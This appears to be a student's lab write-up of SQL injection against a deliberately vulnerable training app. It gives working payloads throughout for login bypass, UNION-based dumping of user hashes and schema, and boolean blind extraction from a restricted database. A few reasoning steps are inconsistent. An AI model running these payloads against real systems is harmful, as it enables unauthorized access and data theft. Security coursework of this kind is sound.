Section 1: Basic Injection Page (login.php) - Login Bypass

Objective: Log into the system as the user "alice" without knowing her password, thereby bypassing the authentication mechanism.

Methodology & Failed Attempts: Initially, I attempted a standard SQL injection payload in the username field to comment out the password verification clause. I entered `alice' #` and `-- 'alice` along with a random password ("1234"). These attempts failed and returned a SQL syntax error instead of logging me in.

Error Analysis & Information Gathering: The server returned the following verbose error:

```
Error: You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use
near 'alice') AND (password = '81dc9bdb52d04dc20036dbd8313ed055')' at
line 1
```

This error was highly informative and revealed two critical pieces of information about the backend implementation:

1. **Query Structure:** The user input is wrapped in parentheses. The backend query likely looks similar to: `SELECT * FROM users WHERE (username = '$user') AND (password = '$pass')`. My initial payload caused a syntax error because the comment symbol (`#`) was placed before closing the parenthesis, leaving an unclosed parenthesis in the executed query.
2. **Password Hashing:** The random password I entered ("1234") was converted into an MD5 hash (`81dc9bdb52d04dc20036dbd8313ed055`) inside the query. This indicates that the application hashes the password *before* inserting it into the SQL query. Consequently, attempting to inject SQL commands via the password field is impossible, as the payload would simply be hashed.

Successful Exploitation: Based on the error analysis, I crafted a refined payload for the Username field to properly close the syntax before commenting out the remainder of the query:

- **Username Payload:** `alice') #`
- **Password:** `1234` (or any arbitrary string)

Explanation of the successful payload:

- `alice` specifies the targeted account.
- `'` closes the string literal.
- `)` closes the parenthesis for the username condition, fixing the previous syntax error.
- `#` acts as the MySQL comment indicator, forcing the database to ignore the rest of the query (including the entire password verification clause).

The payload successfully executed, authenticating me and displaying the message "Welcome alice!"

Section 2: Search Products (searchproducts.php) - Extracting Server Info

Objective: Discover the connected hostname, username, and server version using the search interface.

Methodology & Column Enumeration: I began by exploiting the search field using a `UNION` based SQL injection. The first step was to determine the exact number of columns returned by the original `SELECT` statement.

- I injected: `a%' UNION SELECT 1,2,3,4 #`. This returned an error: "The used SELECT statements have a different number of columns".
- I incremented the column count and injected: `a%' UNION SELECT 1,2,3,4,5 #`. This executed successfully, displaying numbers 2, 3, 4, and 5 in the HTML table. This confirmed the query returns exactly 5 columns, with column 1 being hidden from the frontend display.

Data Extraction & Collation Error: To extract the required information, I attempted to replace the visible columns (2, 3, 4) with system functions: `@@hostname`, `current_user()`, and `version()`.

- I injected: `a%' UNION SELECT 1, @@hostname, current_user(), version(), 5 #`
- The server returned the following error: `Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation 'UNION'.`

Error Analysis & Resolution: The error occurred because the original table columns are formatted in `latin1`, while the MySQL system functions return strings in `utf8`. To bypass this collation mismatch, I used the MySQL `convert()` function to cast the output of the system variables into `latin1` on the fly.

- **Final Payload:** `a%' UNION SELECT 1, convert(@@hostname using latin1), convert(current_user() using latin1), convert(version() using latin1), 5 #`

Results: The injection was successful, bypassing the collation error and populating the table with the requested server information:

- **Hostname:** 7b9d881ea85a
- **Username:** weak@%
- **Server Version:** 8.0.23

Section 3: Discovering Voldemort's Password

Objective: Find the password for the user "voldemort" using the search interface.

Methodology: Building upon the column enumeration from Section 2 (which established that the query expects 5 columns), I utilized a `UNION SELECT` attack to dump the contents of the `users` table. I specifically targeted the `username` and `password` columns. To prevent the `Illegal mix of collations` error encountered previously, I applied the `convert(using latin1)` function to the injected columns.

- **Payload:** `a%' UNION SELECT 1, convert(username using latin1), convert(password using latin1), 4, 5 FROM users #`

Results & Hash Cracking: The SQL injection was successful, bypassing the original search query and appending the entire `users` table to the HTML results. I located the specific entry for the target user:

- **Username (Product Name column):** voldemort
- **Password Hash (Product Type column):** 856936b417f82c06139c74fa73b1abbe

As discovered in the error analysis of Section 1, the application stores passwords as MD5 hashes. By recognizing the hash signature, I was able to determine that the MD5 hash `856936b417f82c06139c74fa73b1abbe` corresponds to the plaintext string **horcrux** (which is also hinted at on the application's homepage).

Final Password: horcrux

Section 4: Enumerating Database Tables and Columns

Objective: Find the table `sqlitraining` and enumerate all its fields using the search interface.

Methodology & Failed Attempt: Initially, I attempted to directly query the `information_schema.columns` table to extract the fields for the specified table.

- I injected: `a%' UNION SELECT 1, convert(table_name using latin1), convert(column_name using latin1), 4, 5 FROM information_schema.columns WHERE table_name='sqlitraining' #`
- However, this payload returned no injected results. This indicated that the table `sqlitraining` did not actually exist in the database, suggesting a deliberate trap or misdirection in the assignment instructions.

Database Enumeration (Pivoting): To discover the true name of the target table, I pivoted to enumerating all tables within the current database using `information_schema.tables`.

- I injected: `a%' UNION SELECT 1, convert(table_name using latin1), 3, 4, 5 FROM information_schema.tables WHERE table_schema=database() #`
- The output successfully dumped the table names. Among standard tables like `users` and `products`, I discovered a hidden, obfuscated table named **`cyber_tableAAAAAAAAAAAAA`**. This was clearly the intended target table for this exercise.

Final Extraction: Knowing the actual table name, I adjusted my initial column-extraction payload to target `cyber_tableAAAAAAAAAAAAA` instead of `sqlitraining`.

- **Final Payload:** `a%' UNION SELECT 1, convert(table_name using latin1), convert(column_name using latin1), 4, 5 FROM information_schema.columns WHERE table_name='cyber_tableAAAAAAAAAAAAA' #`

Results: The injection successfully extracted the schema for the hidden table. The columns present in the `cyber_tableAAAAAAAAAAAAA` table are:

1. **cyberHour**
2. **cyberId**

Section 5: Blind SQL Injection (blindsqli.php) - Data Extraction from Secure Database

Objective: Use Blind SQL Injection techniques to discover how many rows exist in a table stored in the mysterious "secure" database, and extract all values from that table.

Methodology & Failed Attempts

Initial Access Attempt: I navigated directly to `blindsqli.php?user=alice` expecting to interact with the Blind SQLi interface immediately. However, the page returned an authentication requirement message: "Please login to continue to Blind SQL Injection Page." This indicated that access to the Blind SQLi page required an authenticated session.

Login Bypass: Leveraging the SQL injection bypass technique from Section 1, I successfully authenticated via `login.php`:

- **Username Payload:** `admin' OR '1'='1`
- **Password:** `anything` (arbitrary string)

This bypassed the authentication mechanism and provided a valid session cookie, granting access to blindsqli.php.

Vulnerability Discovery - Boolean Testing: Once authenticated, I tested the `user` parameter for SQL injection vulnerabilities using basic boolean conditions:

1. **Test Payload 1:** `alice' AND '1'='1`
   - **Result:** Alice's profile was displayed, including her password hash (`c93239cae450631e9f55d71aed99e918`)
   - **Analysis:** TRUE condition displays alice's data
2. **Test Payload 2:** `alice' AND '1'='2`
   - **Result:** Alice's profile disappeared entirely (no hash, no data)
   - **Analysis:** FALSE condition hides alice's data

This confirmed a Content-based Blind SQL Injection vulnerability where TRUE/FALSE SQL conditions can be distinguished by observing whether alice's data appears in the HTTP response.

Failed Direct Access Attempt: I attempted to directly query the `secure` database using an EXISTS clause:

- **Payload:** `alice' AND EXISTS(SELECT * FROM secure.tablename) AND '1'='1`
- **Result:** Alice's data disappeared (FALSE)
- **Analysis:** The MySQL user `weak@%` has no SELECT permissions on the `secure` database, preventing direct table queries.

Failed information_schema Access: Initially, I attempted to access `information_schema.tables` directly:

- **Payload:** `alice' AND EXISTS(SELECT * FROM information_schema.tables) AND '1'='1`
- **Result:** FALSE (alice hidden)
- **Analysis:** Direct access to `information_schema.tables` failed initially

Error Analysis & Information Gathering

Breakthrough - Indirect Metadata Access: After multiple failed attempts, I discovered that while direct table access is blocked, metadata queries through information_schema work indirectly:

Successful Test:

• **Payload:** `alice' AND EXISTS(SELECT 1 FROM information_schema.schemata WHERE schema_name='secure') AND '1'='1`

• **Result:** TRUE (alice shown)

• **Critical Discovery:** The `secure` database exists, and `information_schema` can be queried for metadata even without direct SELECT permissions on the database's tables.

Permission Boundary Discovery: Through systematic testing, I identified what metadata was accessible:

1. Table existence check:

• `(SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='secure')>0` → TRUE

• **Conclusion:** At least one table exists in the secure database

2. Row count accessibility:

• `(SELECT TABLE_ROWS FROM information_schema.tables WHERE table_schema='secure' AND table_name='tablename')=3` → This metadata field is accessible

• **Conclusion:** `TABLE_ROWS` can be read from `information_schema.tables` despite lacking direct SELECT permissions

This revealed that information_schema provides indirect access to database metadata, allowing enumeration of tables, columns, and even row counts without requiring direct permissions on the target database.

Successful Exploitation

Phase 1: Table Name Discovery

Step 1 - Finding Table Name Length:

Initial attempts using direct CHAR_LENGTH equality checks failed inconsistently. I pivoted to range-based comparisons:

• **Payload:** `alice' AND CHAR_LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema='secure' LIMIT 1))>5 AND '1'='1`

• **Result:** TRUE

• **Payload:** `alice' AND CHAR_LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema='secure' LIMIT 1))<20 AND '1'='1`

• **Result:** FALSE

This narrowed the length to between 20 and 100 characters. Using binary search:

• **Payload:** `alice' AND CHAR_LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema='secure' LIMIT 1))=32 AND '1'='1`

• **Result:** TRUE

• **Discovery:** Table name is exactly 32 characters (consistent with an MD5 hash format)

Step 2 - Character-by-Character Extraction:

For most character positions, standard SUBSTRING extraction worked:

• **Payload (position 2):** `alice' AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='secure' LIMIT 1),2,1)='8' AND '1'='1`

• **Result:** TRUE (second character is '8')

Critical Issue - First Character Extraction Failure:

The standard SUBSTRING approach consistently failed for the first character. No character in the expected charset (0-9, a-f) returned TRUE. After investigation, I discovered that using the ASCII() function resolved this:

• **Payload:** `alice' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='secure' LIMIT 1),1,1))=55 AND '1'='1`

• **Result:** TRUE

• **Analysis:** ASCII value 55 corresponds to the character '7'

By iterating through positions 1-32 using SUBSTRING (with ASCII fallback for position 1), I extracted the complete table name:

Table Name: `789b05678e7f955d2cf125b0c05616c9`

Phase 2: Table Structure Discovery

Column Count:

• **Payload:** `alice' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_schema='secure' AND table_name='789b05678e7f955d2cf125b0c05616c9')=2 AND '1'='1`

• **Result:** TRUE

• **Discovery:** The table contains exactly 2 columns

Column Name Extraction:

Column 1:

• **Length detection:** `LENGTH((SELECT column_name FROM information_schema.columns WHERE table_schema='secure' AND table_name='789b05678e7f955d2cf125b0c05616c9' LIMIT 0,1))=2` → TRUE

• **Character extraction via SUBSTRING revealed:** `id`

Column 2:

• **Length detection:** `LENGTH(...)=6` → TRUE

• **Character extraction revealed:** `random`

Table Structure Discovered:

• **Columns:** `id`, `random`

Phase 3: Row Count Determination

• **Payload:** `alice' AND (SELECT TABLE_ROWS FROM information_schema.tables WHERE table_schema='secure' AND table_name='789b05678e7f955d2cf125b0c05616c9')=3 AND '1'='1`

• **Result:** TRUE

• **Discovery:** The table contains exactly 3 rows

Phase 4: Data Extraction

For each row and column, I used a two-step process:

Example - Row 1, Column 'id':

1. Length detection:

• `LENGTH((SELECT id FROM secure.789b05678e7f955d2cf125b0c05616c9 LIMIT 0,1))=1` → TRUE

2. Character extraction:

- `SUBSTRING((SELECT id FROM secure.789b05678e7f955d2cf125b0c05616c9 LIMIT 0,1),1,1)='1'` → TRUE
- **Value:** `1`

Example - Row 1, Column 'random':

1. Length detection:

- `LENGTH((SELECT random FROM secure.789b05678e7f955d2cf125b0c05616c9 LIMIT 0,1))=64` → TRUE (64-character string)

2. Character-by-character extraction:

- Position 1: SUBSTRING(...,1,1)='c' → TRUE
- Position 2: SUBSTRING(...,2,1)='f' → TRUE
- Position 3: SUBSTRING(...,3,1)='f' → TRUE
- ...continuing for all 64 positions
- **Complete value:** `cffe0dd61e60f6aa73e4b81c3713b9401a16eef571876d800d6c9825757fa1f3`

This process was repeated for all 3 rows across both columns.

Explanation of Successful Approach

The working solution succeeded through several key insights:

1. Permission Bypass via Metadata: Despite lacking SELECT permissions on the `secure` database, `information_schema` provides comprehensive metadata access that can be exploited to enumerate tables, columns, and row counts without direct database permissions.

2. Boolean-based Blind SQLi: By observing whether alice's data appears (TRUE) or disappears (FALSE) in the HTTP response, each binary condition can be determined. This allows systematic extraction of data one bit at a time.

3. Character-by-character Extraction: Using `SUBSTRING((SELECT column FROM table LIMIT row,1),position,1)='char'`, each character is tested individually against all possible values. For a 64-character string, this requires 64 queries multiplied by the average position in the character set.

4. ASCII Fallback Method: When standard SUBSTRING comparison fails (as observed with the table name's first character), the `ASCII()` function provides an alternative extraction method by comparing numeric ASCII values (0-127) instead of character strings.

5. Automation Necessity: Manual extraction of this volume of data (3 rows with strings up to 64 characters) would require hundreds of HTTP requests. A Python script was developed to automate the entire process, handling login bypass, table discovery, column enumeration, row counting, and complete data extraction.

Results

Complete extraction from secure database:

- **Database:** secure
- **Table name:** `789b05678e7f955d2cf125b0c05616c9`
- **Structure:** 2 columns (`id`, `random`), 3 rows

Extracted Data:

ID	Random
1	cffe0dd61e60f6aa73e4b81c3713b9401a16eef571876d800d6c9825757fa1f3
2	veryrandomindeed
3	this is the last row. well done :)

Answer to Assignment Question:

- **Number of rows in table:** 3
- **Values in table:**
  - Row 1: id=1, random=cffe0dd61e60f6aa73e4b81c3713b9401a16eef571876d800d6c9825757fa1f3
  - Row 2: id=2, random=veryrandomindeed
  - Row 3: id=3, random=this is the last row. well done :)

The successful extraction demonstrates that Blind SQL Injection, combined with information_schema metadata enumeration, can completely compromise database confidentiality even without direct SELECT permissions on the target database.

Section 6: Database Schema Enumeration (searchproducts.php)

Objective: Enumerate the complete database schema by determining: (1) how many tables exist in the database, (2) the names of all tables, (3) the number of columns in each table, and (4) the names of all columns.

Methodology:

Building upon the UNION-based SQL injection technique established in Section 2, I leveraged the `information_schema` database to systematically enumerate the complete database schema. The `information_schema` is a MySQL metadata database that contains comprehensive information about all databases, tables, and columns accessible to the current user.

Table Enumeration:

To extract all table names from the current database, I injected the following payload into the search field:

- **Payload:** `a%' UNION SELECT 1, table_name, 3, 4, 5 FROM information_schema.tables WHERE table_schema=database() #`

Explanation of the payload:

- `a%` - Matches existing products to satisfy the original query
- `UNION SELECT 1, table_name, 3, 4, 5` - Appends our injected query results to the original product results
- `FROM information_schema.tables` - Queries the metadata table containing all table information
- `WHERE table_schema=database()` - Filters to only show tables from the current database (`sqlitraining`)

Results: The injection successfully returned 4 table names displayed in the "Product Name" column:

1. ADSL2_router
2. cyber_tableAAAAAAAAAAAAA
3. products
4. users

Column Enumeration:

To extract all column names for each table, I modified the payload to query `information_schema.columns`:

- **Payload:** `a%' UNION SELECT 1, table_name, column_name, 4, 5 FROM information_schema.columns WHERE table_schema=database() #`

This payload returns each column name alongside its parent table name, displayed as:

- **Product Name column:** Table name
- **Product Type column:** Column name

Results:

Complete database schema enumeration:

1. Table: ADSL2_router

Number of columns: 1

Columns:

- wireless_devices

2. Table: cyber_tableAAAAAAAAAAAAA

Number of columns: 2

Columns:

- cyberHour
- cyberId

3. Table: products

Number of columns: 5

Columns:

- description
- id
- price
- product_name
- product_type

4. Table: users

Number of columns: 5

Columns:

- description
- fname
- id
- password
- username

Answer to Assignment Questions:

- **How many tables in the database?** 4 tables
- **Table names:** ADSL2_router, cyber_tableAAAAAAAAAAAAA, products, users
- **Number of columns per table:** ADSL2_router (1), cyber_tableAAAAAAAAAAAAA (2), products (5), users (5)

- **Column names:** Listed in detail above for each table

The successful enumeration demonstrates that UNION-based SQL injection, combined with `information_schema` queries, provides complete visibility into database structure even without direct administrative access. This metadata exposure represents a critical information disclosure vulnerability that can facilitate more targeted attacks on specific tables and columns.